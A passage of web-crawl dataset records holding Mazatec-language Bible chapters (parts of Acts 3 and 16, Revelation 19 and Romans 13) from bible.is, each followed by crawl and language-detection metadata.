xi xó kisìkasén‑ne Nainá] k'oa̱á s'ín tjínè‑la̱ nga ki̱yá. 19Koií k'oa̱ 'mì‑nòje̱n nga ti̱kájno jé‑nò, kì ti̱ jé binchaàtsji‑nò; Nainá tanguít'aà‑là mé‑ne nga jcha̱t'aà‑nò jé‑nò i̱kjoàn tsjá‑nò Nainá kjoa̱'nchán ts'e̱ ini̱ma̱‑nò. 20Kàtasíkasén‑nò Jesús, jè xi xó k'oa̱s'ín kjòtseé jaàjiìn‑ne Nainá nga jè xi Cristo nga i̱t'aà tsa̱jòn kjoi̱í‑ne. 21Mochjeén‑né nga ján kíjna ngajmiì jè Jesucristo skanda k'e̱ nga jè Nainá si̱ìxi̱tse̱ya yije ìjngoò k'a tsojmì xi tjín. K'oa̱á s'ín kitsjaà o̱kixi̱ Nainá k'e̱ nga kiìchja̱ ngajo‑la̱ xi̱ta̱ tsjeè‑la̱ xi jè kisìkjeén nga sa̱ kjòtseé. 22Moisés, k'oa̱á s'ín kitsò‑la̱ jñà xi̱ta̱ jchínga‑ná: \"Jè Na̱'èn‑ná xi Nainá, ya̱á ko̱chrjekàjiìn jngoò xi̱ta̱ xinguia̱á xi ki̱chja̱ ngajo‑la̱ Nainá koni 'a̱n. Jè ti̱ná'ya‑là koni s'ín ki̱chja̱ko̱‑nò ngats'iì kjoa̱ xi ke̱èno̱jmí‑nò. 23Ngats'iì xi̱ta̱ xi mìkiì kji̱'nchréñijon‑la̱, jngoò k'a tjáxìn i̱t'aà ts'e̱ na̱xa̱ndá‑la̱ Nainá.\" 24'Ngats'iì xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá, mats'ia̱‑ne Samuel, skanda i̱'ndei̱, sa̱á koií 'én tsibéno̱jmí mé kjoa̱ xi tíma na̱chrjein i̱'ndei̱. 25Kjo̱ndaà tsa̱jòn‑nò koni s'ín kitsjaà tso'ba Nainá i̱t'aà ts'e̱ xi̱ta̱‑la̱ xi kiìchja̱ ngajo‑la̱. Ti̱koa̱á kjo̱ndaà tsa̱jòn‑nò koni s'ín tsibíndaàjiìn jngoò kjoa̱ Nainá ko̱ xi̱ta̱ jchínga‑ná k'e̱ nga kitsò‑la̱ Abraham: \"Ngats'iì xi̱ta̱ xi tjín nga tíjtsa i̱sò'nde ko̱chikon‑t'in‑né xi i̱t'aà ts'e̱ tje̱‑lè.\" 26Nainá, k'e̱ nga kisìkjaáya‑la̱ Ki'ndí‑la̱, jñò kisìkasén ítjòn‑nò nga si̱ìchikon‑t'in‑nò mé‑ne nga si̱kjatjìya‑là kjo̱hítsjeèn‑nò nga jngoò ìjngoò, nga mì ti̱ ch'o s'e̱n‑nò.\nHechos 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/3","date":"2013-12-05T05:12:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163040022\/warc\/CC-MAIN-20131204131720-00011-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000083446502686}","num_words":639,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.341,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Xi jye komà i̱skan, ki'nchrè‑la̱ ján ngajmiì 'én koni kjín jchán ma xi̱ta̱ xi chja̱ nga tsò: ¡Aleluya! ¡'Nga ti̱kíjna Nainá! Nga jè ochrjekàjiìn‑ná kjo̱'in kjoa̱ ts'e̱ jé‑ná, ko̱ ta jè ta̱jngoò xi tjín‑la̱ kjoa̱jeya ko̱ xi tse nga'ñó tjín‑la̱. 2Nga jè Nainá, ndaà s'ín ko̱ kixi̱í s'ín k'e̱ nga tsjá‑la̱ kjo̱'in xi̱ta̱; nga jyeé kitsjaà‑la̱ kjo̱'in jè na̱xa̱ndá je Babilonia xi kisìkits'ón‑jiìn i̱sò'nde nga tsakó‑la̱ xi̱ta̱ i̱sò'nde nga kj'ei̱í nainá kijtseèxkón k'oa̱á ngaya‑la̱ koni jngoò chjo̱ón xi kjoa̱ chijngui s'ín. Koií jé xi komà‑la̱ nga jè kisìk'en xi̱ta̱ chi̱'nda‑la̱ Nainá xi kiìchja̱ ngajo‑la̱. 3Ìjngoò k'a k'oa̱ kitsò: ―¡Aleluya! ¡'Nga ti̱kíjna Nainá! Jè ni̱'ndi̱‑la̱ jè na̱xa̱ndá nga títì, k'oa̱á s'ín ki̱tjomijìn ni̱ta̱ mé na̱chrjein‑ne. 4Jñà xi̱ta̱ jchínga xi kaàn ñijòn ma‑ne ko̱ xi ñijòn ma‑ne xi títsa̱jnakon, chincha-xkó'nchi-ñiat'aà‑la̱ nga kijtseèxkón Nainá xi tíjnasòn íxi̱le̱ ñánda tíhotíxoma. Kitsò: ―¡K'oa̱s'ín kàtama! 'Nga ti̱kíjna Nainá. ¡Aleluya! 5Ya̱ íxi̱le̱‑la̱ ñánda tíhotíxoma, kina'yà‑la̱ 'én xi kitsò: Tjiì‑là kjo̱ndaà Nainá ngats'ioò jñò xi chi̱'nda maà, jñò xi i̱xti maà ko̱ xi̱ta̱ jchínga, ngats'ioò xi tsakjoòn‑chaà Nainá. 6Ki'nchrè‑la̱ 'én koni tsà kjín jchán ma xi̱ta̱ xi chja̱, koni s'ín na'yà‑la̱ nandá k'e̱ nga one, koni s'ín na'yà‑la̱ k'e̱ nga one ch'o̱n, xi kitsò: ¡Aleluya! ¡'Nga ti̱kíjna Nainá xi ta jè ta̱jngoó xi 'ñó tse nga'ñó tjín‑la̱! Nga jyeé jè tíhotíxoma. 7Tsja k'oé‑lá ini̱ma̱‑ná, si̱tsja‑chaá takoán, jeya si̱kíjnaá Nainá, nga jyeé j'iì kjoa̱ bixan‑la̱ Orrè; chjo̱ón‑la̱ jyeé tíjnandaà. 8Jè chjo̱ón, jye ko'biì‑la̱ nikje lino xi 'ñó chjí, xi 'ñó tsjeè kjoàn ti̱koa̱ 'ñó ote nga kónakjá. Jè nikje lino xi 'ñó chjí, jè ngaya‑la̱ kjoa̱kixi̱ xi s'ín xi̱ta̱‑la̱ Nainá. 9Jè àkja̱le̱ kitsò‑na: ―Chjí kjoa̱ koi: \"Mé ta ndaà‑la̱ jñà xi̱ta̱ xi xó kinokjoà‑la̱ kjoa̱ bixan‑la̱ Orrè nga jè ko̱kje̱n‑ko̱.\" Kitsò ìsa̱: ―Jñà 'én koi, nguì 'én kixi̱‑la̱ Nainá‑né. 10Tsohósi̱jna xkó'nchiñia i̱t'aà ndso̱ko̱ jè àkja̱le̱ nga mejèn‑na̱ skoexkoán. Ta̱nga jè àkja̱le̱ kitsò‑na̱: ―Kì k'oa̱á 'nì; 'a̱n, ti̱koa̱á chi̱'nda‑la̱ Nainá ma koni ngaji̱ ko̱ jñà 'ndsì xi ndaà fì tji̱ngui‑la̱ jñà 'én kixi̱ xi kiìchja̱ Jesús. Jè Nainá cha̱xkoín. Jñà 'én kixi̱ xi kiìchja̱ Jesús, ti̱jñà‑ne xi síkítsjeèn‑ya‑la̱ xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá. 11Kìjtseè ngajmiì nga ti̱x'á; tsatsejèn jngoò kohòyo̱ xi chroba kji. Jè xi̱ta̱ xi tíjnakjá‑la̱, k'oa̱á s'ín yaxkon‑la̱ nga kixi̱ síkitasòn ko̱ kixi̱ tíjna, koií kjoa̱‑la̱ nga nguì ko̱ kjoa̱kixi̱‑la̱ bíndaàjiìn ko̱ nga kjaán‑kjoò. 12Jñà xko̱n, k'oa̱á kjoàn koni ni'ín. Ya̱ sko̱, kjín corona jtobá tjí'a ko̱ jngoò 'ín‑la̱ tjít'aà xi mìkiì yá xi machi̱ya‑la̱ kó tsòya‑ne; ta̱jngoò jè machi̱ya‑la̱ kó tsòya‑ne. 13Jè nikje xi kinakjá, jní yijàjno. Jè 'ín‑la̱, 'Én‑la̱ Nainá 'mì. 14Ya̱á tji̱ngui‑la̱ jñà soldado ts'e̱ ngajmiì nga títsa̱jnakjá‑la̱ kohòyo̱ chroba; saà nikje lino chrobaá íkjá xi 'ñó chjí ko̱ tsjeè kjoàn. 15Jè tso'ba bitjo jngoò ki̱cha̱ ndojò xi 'ñó yijò kji, jè xi síki'on‑ne ngats'iì na̱xa̱ndá. Nga jè ko̱tìxoma‑la̱ xi̱ta̱ na̱xa̱ndá. Jè yá nise si̱ìkjeén xi nguì ki̱cha̱ tájaà. Jè sobá ko̱sinè jñà toò uva ya̱ i̱ya chitso nga ko̱chrje vino xi okó kjoa̱jti‑la̱ Nainá xi ta jè ta̱jngoó xi 'ñó tse nga'ñó tjín‑la̱. 16Jè nikje‑la̱ ko̱ chrjomí‑la̱ tjít'aà 'ín xi tsò: \"Xi̱ta̱xá Ítjòn‑la̱ ngats'iì jñà xi xi̱ta̱xá ítjòn títsa̱jna ko̱ jè‑né xi otíxoma‑la̱ ngats'iì jñà xi̱ta̱ xi otíxoma.\" 17Kìjtseè jngoaà àkja̱le̱ xi ya̱ síjnasòn‑la̱ ts'oí; 'ñó chja̱‑la̱ ngats'iì cho̱ xi tjímajiìn i̱sén xi yijo kine. Tsò: ―Nchrobá, tixkóyaà xinguio̱o mé‑ne nga chji̱ne̱e yijo xi Nainá tsjá‑nò, 18nga chji̱ne̱e yijo‑la̱ xi̱ta̱xá ítjòn, ko̱ yijo‑la̱ xi̱ta̱ sko̱‑la̱ soldado, yijo‑la̱ xi̱ta̱ ts'e̱n, yijo‑la̱ kohòyo̱ ko̱ yijo‑la̱ xi̱ta̱ xi titsa̱kjá‑la̱ kohòyo̱, yijo‑la̱ ngats'iì xi̱ta̱ xi títsa̱jnandei̱í ko̱ xi̱ta̱ chi̱'nda ko̱ xi i̱xti ko̱ xi̱ta̱ jchínga. 19Kìjtseè jè cho̱ je xi ch'o kji ko̱ jñà xi̱ta̱xá ítjòn ts'e̱ i̱sò'nde ko̱ xi̱ta̱ soldado‑la̱; jyeé títsa̱jnandaà nga ska̱àn‑ko̱ jè xi tíjnakjá‑la̱ kohòyo̱ chroba ko̱ jñà soldado‑la̱. 20Jè cho̱ je xi ch'o kji kindobà'ñó; ti̱koa̱ kindobà'ñó jè xi 'én ndiso kiìchja̱ xi kis'iìn kjo̱xkón nga nguixko̱n jè cho̱. K'oa̱á s'ín komà‑ne nga kiskoòna̱cha̱n‑la̱ jñà xi̱ta̱ xi kiskoé chi̱ba̱‑la̱ ti̱koa̱ kijtseèxkón i̱sén xkósòn‑la̱ jè cho̱. Ingajò kinìkatsjoòjiìn tíkòn i̱jiìn ni'ín xi títìjnga̱ ñánda títì ko̱ azufre. 21Jñà xi̱ta̱ xi i'nga, jè kisìk'en‑ne jè ki̱cha̱ ndojò xi bitjo tso'ba jè xi tíjnakjá‑la̱ kohòyo̱. Ngats'iì cho̱ xi tjímajiìn i̱sén, jñà kjòskiì‑ne nga kiskine yijo‑la̱ xi̱ta̱ xi jye k'en.\nApocalipsis 19","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/19","date":"2013-12-11T21:02:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164047228\/warc\/CC-MAIN-20131204133407-00022-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000073909759521}","num_words":684,"character_repetition_ratio":0.06,"word_repetition_ratio":0.003,"special_characters_ratio":0.231,"stopwords_ratio":0.341,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngats'iì xi̱ta̱ kàtasíkitasòn‑la̱ xi xi̱ta̱xá títsa̱jna, nga Nainá kitsjaà‑la̱ kjo̱tíxoma. Jñà xi xi̱ta̱xá títsa̱jna, Nainá kitsjaà‑la̱ xá. 2Jñà xi̱ta̱ xi bìtsa̱jna tájaà‑la̱ kjo̱tíxoma‑la̱ xi̱ta̱xá, kondra̱á bìtsa̱jna‑la̱ jñà xi̱ta̱ xi Nainá kitsjaà‑la̱ xá. Jñà xi̱ta̱ koi, ti̱ yijo‑la̱á tíbínè‑la̱ kjo̱'in. 3Jñà xi̱ta̱xá mìtsà koi xá títsa̱jna‑ne nga jñà ki̱nchaxkón‑la̱ xi̱ta̱ xi ndaà s'ín, jñà‑né xi̱ta̱ xi ch'o tjín kjoa̱ xi s'ín. Tsà mejèn‑lè nga mìkiì ki̱skón‑la̱ xi̱ta̱xá, ndaà t'i̱in, ko̱ jñà xi̱ta̱xá ndaà si̱ìkíjna‑lè. 4Jñà xi xi̱ta̱xá tjín‑la̱, xá ts'e̱ Nainá nchisíkitasòn, mé‑ne nga ndaà ki̱jna‑ne. Ta̱nga tsà ch'o tjín kjoa̱ xi tì'nì, ti̱skón‑la̱ xi xi̱ta̱xá tjín‑la̱, nga tjí'nde‑la̱ nga tsjaà‑lè kjo̱'in. Nga xá‑la̱ Nainá nchis'ín k'e̱ nga bíndaàjiìn kjoa̱ ko̱ nga tsjá‑la̱ kjo̱'in jñà xi̱ta̱ xi ch'o s'ín. 5K'oa̱á ma‑ne nga mochjeén‑né nga ndaà si̱kitasòn‑lá jñà xi xi̱ta̱xá títsa̱jna, mìtsà tà koi‑ne nga kjo̱'in tsjá‑ná; koi‑né nga xó k'oa̱s'ín beè‑la̱ takoán nga tjínè‑ná nga si̱kitasoán. 6Koií kjoa̱‑la̱ nga ti̱koa̱ machjí to̱n sá, nga jñà xi̱ta̱xá k'oa̱á s'ín nchisíkitasòn‑la̱ Nainá ko̱ kjit'aà na̱chrjein koa̱tjín xá xi nchis'ín. 7Tichjió yije mé xi kitje̱n‑nò. Jè xi kitje̱n‑la̱ to̱n sá, kàtíchjí. Jè xi kitje̱n‑la̱ tsojmì xi machjítjì, kàtíchjítjì. Jè xi̱ta̱ xi mochjeén‑la̱ nga jcha̱xkón, kàtayaxkón. Jè xi̱ta̱ xi mochjeén‑la̱ nga ndaà kíjna, ndaà ti̱kíjna. 8Kì mé xi jmeèt'ioòn yijo‑nò. Ta̱nga kitje̱én‑nò ts'e̱ kjoa̱tjòcha i̱t'aà ts'e̱ xi̱ta̱ xinguio̱o. Nga jè xi matsjakeè xíkjín, jyeé kisìkitasòn yije Kjo̱tíxoma. 9Jñà kjo̱tíxoma tsò‑ne: \"Kì kjoa̱ chijngui 'nì, kì xi̱ta̱ nìk'in, kì chijé 'nì, kì 'én ndiso nokjoì, kì maxìtakòn‑chiì xingui̱i.\" Ngats'iì kjo̱tíxoma koi, ko̱ xi kj'ei̱í, ya̱á mangásòn yije jè kjo̱tíxoma xi tsò: \"Ti̱tsjachi xi̱ta̱ xingui̱i koni tsà ti yijo tsi̱ji‑ne.\" 10Jè xi matsjakeè xíkjín, mìtsà ch'o síko̱ xi̱ta̱ xíkjín. Jè xi matsjakeè xíkjín, jyeé ndaà tísíkitasòn Kjo̱tíxoma. 11K'e̱ nga k'oa̱s'ín s'e̱én yijeé kjoa̱ koi, jcha̱‑ná na̱chrjein i̱'ndei̱ mé kjoa̱ xi tíma nga jye ijchò chi̱ba̱‑la̱ nga si̱kja‑lá yijo‑ná nga titsa̱fè. Koni k'e̱ nga sa̱ kòkjeiín‑ná, jye 'ñó kjòchrañàt'aà na̱chrjein nga ki̱tsa̱jnandia̱á kjoa̱ ts'e̱ jé‑ná. 12Ni̱tje̱n, jyeé tífahato, jyeé tímachrañà na̱chrjein nga s'e̱ i̱sén nga ki̱tjojen ìjngoò k'a Na̱'èn‑ná. Ki̱nachrjenguiaá ngats'iì kjoa̱ xi ma ñánda nga jñò choòn ko̱ chjoé nga'ñó‑la̱ Nainá koni s'ín mochjeén ñánda iseèn choòn koni tsà ki̱cha̱ ts'e̱ soldado. 13K'oa̱á s'ín iseèn ki̱tjá koni na̱chrjein nga ndaà si̱jchá yijo‑ná. Mì kì mochjeén nga ta̱xki̱ chji̱ne̱é tsojmì ko̱ nga mach'ia̱á. Mìkiì mochjeén nga íchjín kjóhijtakoa̱á, ko̱ mì kì ma ta̱xki̱ si̱koa̱á yijo‑ná. Mìkiì mochjeén nga xi̱ta̱ ki̱xkàn‑koa̱á ko̱ mìkiì mochjeén nga kjoa̱xìtakòn kichjà‑lá xinguia̱á. 14K'oa̱á s'ín ti̱jchá yijo‑nò koni s'ín kis'iìn jè Na̱'èn‑ná Jesucristo, kì kiì nìkitasòn‑là yijo‑nò kjoa̱ ch'o xi síjé.\nRomanos 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/13","date":"2013-12-05T00:45:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163037902\/warc\/CC-MAIN-20131204131717-00007-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"maa_Latn_score\": 1.0000081062316895}","num_words":418,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Pablo, k'e̱ nga ijchò na̱xa̱ndá Derbe ko̱ Listra, ya̱ kisatiìkjoò jngoò xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo xi Timoteo 'mì; nea̱‑la̱ xi̱ta̱ judío‑né xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo. Ta̱nga jè na̱'èn‑la̱ xi̱ta̱ griego‑né. 2Jñà xi̱ta̱‑la̱ Cristo xi títsa̱jna Listra ko̱ Iconio 'ñó ndaà kisìkíjna Timoteo. 3Pablo mejèn‑la̱ nga jè koa̱hijtako̱; k'oa̱á komà‑ne nga kisit'aà chi̱ba̱‑la̱ kjoa̱ ts'e̱ circuncisión mé‑ne nga ndaà kíjna‑ne Timoteo i̱t'aà ts'e̱ xi̱ta̱ judío; nga jñà xi̱ta̱ xi ya̱ i̱'nde‑la̱ jyeé beè nga na̱'èn‑la̱ Timoteo, xi̱ta̱ griego‑né. 4Ngats'iì na̱xa̱ndá ñánda jahato, k'oa̱á kitsò‑la̱ nga kàtasíkitasòn kjoa̱kixi̱ xi tsajoóya‑ne jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús ko̱ xi̱ta̱ jchínga xi títsa̱jna Jerusalén xi otíxoma ya̱ i̱jiìn na̱xa̱ndá‑la̱ Cristo. 5Jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo, ìsa̱á 'ñó ndaà mokjeiín ìsa̱‑la̱; na̱chrjein nchijòn tímakjìn‑ya xi̱ta̱ xi nchimokjeiín‑la̱. 6Jè Ini̱ma̱ Tsjeè‑la̱ Nainá mìkiì kitsjaà'nde‑la̱ Pablo ko̱ xi̱ta̱ xi kjihijtako̱ nga 'én‑la̱ Cristo kiì síka'bí ján nangui Asia; k'oa̱á ma‑ne nga ya̱ jahatojiìn nangui ñánda 'mì Frigia ko̱ Galacia. 7K'e̱ nga ijchò chrañàt'aà‑la̱ nangui Misia mején‑la̱ nga ján kjoi̱ nangui Bitinia, ta̱nga jè Ini̱ma̱‑la̱ Jesús mìkiì kitsjaà'nde‑la̱. 8Tà jahato Misia, ijchò skanda na̱xa̱ndá Troas. 9Nga jye títsa̱jna Troas, Pablo, k'e̱ nga ni̱tje̱n, tsatsejèn jngoò‑la̱ xi̱ta̱ koni tsà nijñá tí'biì‑la̱ xi nangui Macedonia i̱'nde‑la̱ xi tsasíjna kixi̱ nguixko̱n Pablo. Tsibítsi'ba‑la̱, kitsò‑la̱: \"Nchroboí i̱ nangui Macedonia. Ti̱chját'aà‑náje̱n.\" 10Pablo, k'e̱ nga jye kijtseè kjoa̱ koi, ni̱to̱ón tsitsa̱jnandaà‑je̱n nga tsanguì‑je̱n ján nangui Macedonia; k'oa̱á s'ín kjòchi̱ya‑naje̱n nga kixi̱í kjoa̱ nga Nainá tíchja̱‑naje̱n mé‑ne nga si̱ka'bí‑je̱n 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo ya̱ i̱'nde jè. 11K'e̱ nga itjo‑naje̱n ya̱ na̱xa̱ndá Troas, kichjoé jngoò‑je̱n chitso, tsanguí kixi̱‑je̱n ya̱ nangui xi kijnajiìn ndá xi 'mì Samotracia; xi komà inchijòn ìjngoò k'a tsanguì‑je̱n skanda na̱xa̱ndá Neápolis. 12Itjo‑naje̱n Neápolis, tsanguí‑je̱n Filipos, jngoò na̱xa̱ndá ítjòn ts'e̱ i̱'nde Macedonia xi 'ñó tjoé‑la̱ nga'ñó i̱t'aà ts'e̱ Roma. Kjìn na̱chrjein tsitsa̱jna‑je̱n ya̱ i̱'nde jè. 13Jngoò na̱chrjein nìkjáya tsanguí jngoò‑je̱n i̱'nde i̱ndiì na̱xa̱ndá ñánda tífa jngoò xa̱jngá nandá nga k'oa̱s'ín kinìkítsjeèn‑je̱n nga tjín jngoò i̱'nde ñánda chja̱t'aà‑la̱ Nainá xi̱ta̱ judío. Tsitsa̱jna‑je̱n; kinokjoàko̱‑je̱n i̱t'aà ts'e̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo jñà íchjín xi maxkóya ya̱ i̱'nde jè. 14Ya̱ tíjnajiìn jngoò chjo̱ón xi 'mì Lidia xi otíjna nikje chjí xi sko kjoàn i̱sén‑la̱; ya̱á i̱'nde‑la̱ ñánda 'mì Tiatira; ndaà beèxkón Nainá; jè Nainá kiskíx'a̱jiìn kjo̱hítsjeèn‑la̱ nga ndaà tí'nchré koni s'ín tíchja̱ Pablo. 15Komà bautizar Lidia ko̱ ngats'iì xi̱ta̱ ni'ya‑la̱; xi komà i̱skan tsibítsi'ba‑naje̱n kitsò: ―Jñò tsà kixi̱í kjoa̱ nga mokjeiín‑nò nga 'a̱n, ndaà mokjeiín‑na i̱t'aà ts'e̱ Nainá, tíkjiaán ni'ya‑na̱, ya̱ si̱kjáyaá. Ngaje̱n kjo̱'ñó tsitsa̱jna‑je̱n. 16Jngoò na̱chrjein k'e̱ nga titsa̱honguí‑je̱n i̱'nde ñánda nokjoàt'aà‑la̱je̱n Nainá, kisatiìkjoò jngoò‑je̱n tsòti chi̱'nda xi ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑la̱; maá‑la̱ bíndaà nga kot'aàsòn xi̱ta̱. Jñà nei‑la̱ tsòti jè, ndaà jchán síkijne to̱n nga koi xá s'ín. 17Tsòti jè, kiìtji̱ngui‑na̱je̱n; 'ñó chja̱ tji̱ngui‑naje̱n, nga tsò: ―Xi̱ta̱ koi, chi̱'nda‑la̱ Nainá‑né xi 'ñó jeya tíjna; ti̱jñà‑ne xi béno̱jmí‑nò ndi̱yá xi ki̱tjokàjiìn‑nò kjo̱'in. 18Jè tsòti, kjìn na̱chrjein k'oa̱s'ín kitsò‑naje̱n. Pablo chaán kòjti‑la̱, kisìkátjifaya'a; kiìchja̱‑la̱ jè tjo̱ nei̱í xi tíjiìn ini̱ma̱‑la̱. Kitsò‑la̱: ―I̱t'aà ts'e̱ Jesucristo, k'oa̱á xan‑lè, tìtjo̱kàjiìn ini̱ma̱‑la̱ tsòti jè. Ti̱k'e̱é‑ne kjòndaà‑ne. 19Jñà nei‑la̱, k'e̱ nga kijtseè nga kitjaàxìn‑la̱ kjoa̱ xi ma‑la̱, nga mì ti̱ kiì kisìkijne‑ne to̱n, kitsobà'ñó Pablo ko̱ Silas, kiìko̱ nguixko̱n xi̱ta̱xá. 20Chinchá osen ñánda títsa̱jna xi̱ta̱xá, kitsò: ―Jñà xi̱ta̱ koi xi xi̱ta̱ judío, fì kátsji kjo̱siì i̱ na̱xa̱ndá‑ná. 21Kjo̱tíxoma xi okóya mìkiì ndaà tjín, mìkiì tjí'nde‑ná nga chjoé, mìkiì k'oa̱s'ín s'e̱én, koií kjoa̱‑la̱ nga xi̱ta̱ Roma‑ná jñá. 22Ngats'iì xi̱ta̱ na̱xa̱ndá saà kondra̱ kiì‑la̱ jè Pablo ko̱ Silas; jñà xi̱ta̱xá kitsjaà o̱kixi̱ nga tsatejndajno nikje‑la̱, i̱kjoàn tsajá‑la̱. 23K'e̱ nga jye 'ñó tsajá‑la̱, ingajò, kiskinìs'en nda̱yá; i̱kjoàn kitsjaà‑la̱ o̱kixi̱ jè xi̱ta̱ xi síkinda̱ nda̱yá nga ndaà kàtasíkinda̱ xi̱ta̱ koi. 24Jè xi̱ta̱ xi síkinda̱ nda̱yá, k'e̱ nga kits'iì‑la̱ o̱kixi̱, ya̱á chinchá i̱ya ñánda ìsa̱ 'ñó tjín. Tsibít'aà'ñó ndso̱ko̱ i̱t'aà yá ts'e̱ nda̱yá. 25K'e̱ nga jye ijchò osen ni̱tje̱n, jè Pablo ko̱ Silas, nchichja̱t'aà‑la̱ Nainá ko̱ nchiseè‑la̱; jñà xi̱ta̱ xi i'nga xi ti̱koa̱ kjo̱'in títsa̱jna, tà nchi'nchré‑la̱. 26Ti̱k'e̱‑ne tà ni̱to̱ón j'iì jngoò ch'ón xi 'ñó jchán ts'a. Jñà xotjoa̱‑la̱ nda̱yá kitáx'a̱, ti̱koa̱ jñà na'ñó ki̱cha̱ cadena xi tjít'aà 'ñó‑ne xi̱ta̱ xi títsa̱jna nda̱yá, jngoò k'a kitjájnda̱'ñó. 27Jè xi̱ta̱ xi síkinda̱ nda̱yá, k'e̱ nga jaá‑la̱, kijtseè nga ti̱x'á yije xotjoa̱‑la̱ nda̱yá. Kisìkítsjeèn, maá‑la̱ tsà jyeé tsanga yije xi̱ta̱ xi títsa̱jna kjo̱'in. Kiskoé jngoò ki̱cha̱ ndojò nga mejèn‑la̱ si̱ìk'en yijo‑la̱. 28Jè Pablo, k'e̱ nga kijtseè, ni̱to̱ón 'ñó kiìchja̱‑la̱ kitsò‑la̱: ―Kì k'oa̱á nìkoi̱i yijo‑lè; i̱í titsa̱jna yije‑je̱n. 29Jè xi̱ta̱ xi síkinda̱ nda̱yá kisìjé jngoò ni'ín nga kjòhiseèn‑ya nda̱yá; chi̱ba̱‑la̱ tíhotsé‑né k'e̱ nga jahas'en cuarto ñánda títsa̱jna Pablo ko̱ Silas; i̱kjoàn kisìkatje̱n yijo‑la̱ ya̱ i̱ngui ndso̱ko̱. 30I̱kjoàn tsachrje‑ne nda̱yá Pablo ko̱ Silas; kiskònangui‑la̱, kitsò‑la̱: ―Na̱'èn, ¿mé xi s'iaàn nga ki̱tjokàjñaà kjo̱'in? 31Pablo ko̱ Silas kitsò‑la̱: ―Kàtakjeiín‑lè i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo mé‑ne nga kítjokàjñoò kjo̱'in ngaji̱ ko̱ ngats'iì xi̱ta̱ ni'ya‑lè. 32K'e̱é tsibéno̱jmí‑la̱ 'én‑la̱ Na̱'èn‑ná ngats'iì xi̱ta̱ xi ya̱ títsa̱jna ni'ya‑la̱. 33Ti̱jè‑ne ni̱tje̱n jè, jè xi̱ta̱ xi síkinda̱ nda̱yá, tsaníjno ñánda kitiì‑la̱ Pablo ko̱ Silas; xi̱ta̱ jè ti̱koa̱ komà bautizar kóho̱tjín xi̱ta̱ xi ya̱ títsa̱jna ni'ya‑la̱. 34Nga jye komà i̱skan, kiìko̱ ni'ya‑la̱ nga tsakjèn kjoò kóho̱tjín xi̱ta̱ ni'ya‑la̱ xi nguì tà kjo̱tsja nga jye kòkjeiín‑la̱ i̱t'aà ts'e̱ Nainá. 35Nga komà inchijòn, jñà xi̱ta̱xá kisìkasén policía‑la̱ nga kisìkasén‑la̱ o̱kixi̱ jè xi síkinda̱ nda̱yá nga tà k'oa̱s'ín kàtitjo‑ne Pablo ko̱ Silas. 36Jè xi̱ta̱ xi síkinda̱ nda̱yá kisìkí'nchré Pablo kitsò‑la̱: ―Jñà xi̱ta̱xá, jyeé kàtsjá‑na o̱kixi̱ nga ma ki̱tjondei̱í‑nò. Ndaà tanguí‑nò. 37Ta̱nga jè Pablo kitsò: ―Ngaje̱n xi̱ta̱ Roma‑náje̱n. [Mìkiì tjí'nde nga ta̱xki̱ si̱ko̱‑naje̱n.] Ta̱nga kis'eé‑naje̱n yá nga nguixko̱n na̱xa̱ndá k'e̱ nga skanda ti̱kj'eé 'ya‑la̱ mé jé xi tjín‑naje̱n; ta̱nga i̱'ndei̱ mejèn‑la̱ nga tà kjoa̱ chijé ko̱chrje‑naje̱n nda̱yá; jñà kàtjanchrobá sobà nga kàtachrje‑naje̱n. 38Jñà policía, k'oa̱á s'ín kiì kéno̱jmí‑la̱ jñà xi̱ta̱xá koni s'ín kitsò Pablo. K'e̱ nga kiì'nchré jñà xi̱ta̱xá nga jè Pablo ko̱ Silas nga xi̱ta̱ Roma, tsí ndaà kitsakjòn. 39K'e̱é ni̱to̱n kiì nga tsachrje‑ne nda̱yá Pablo ko̱ Silas; i̱kjoàn tsibítsi'ba‑la̱ kjoa̱ xi komàt'in; kitsò‑la̱ nga ta kjo̱ndaà kàtitjojiìn na̱xa̱ndá. 40Pablo ko̱ Silas, k'e̱ nga jye itjo‑ne nda̱yá, kiì ni'ya‑la̱ chjo̱ón xi 'mì Lidia. Ya̱á tsohóko̱ no̱jmí xíkjín xi ngásòn mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo nga 'ñó kàt'eé‑la̱ ikon; i̱kjoàn kiì‑ne.\nHechos 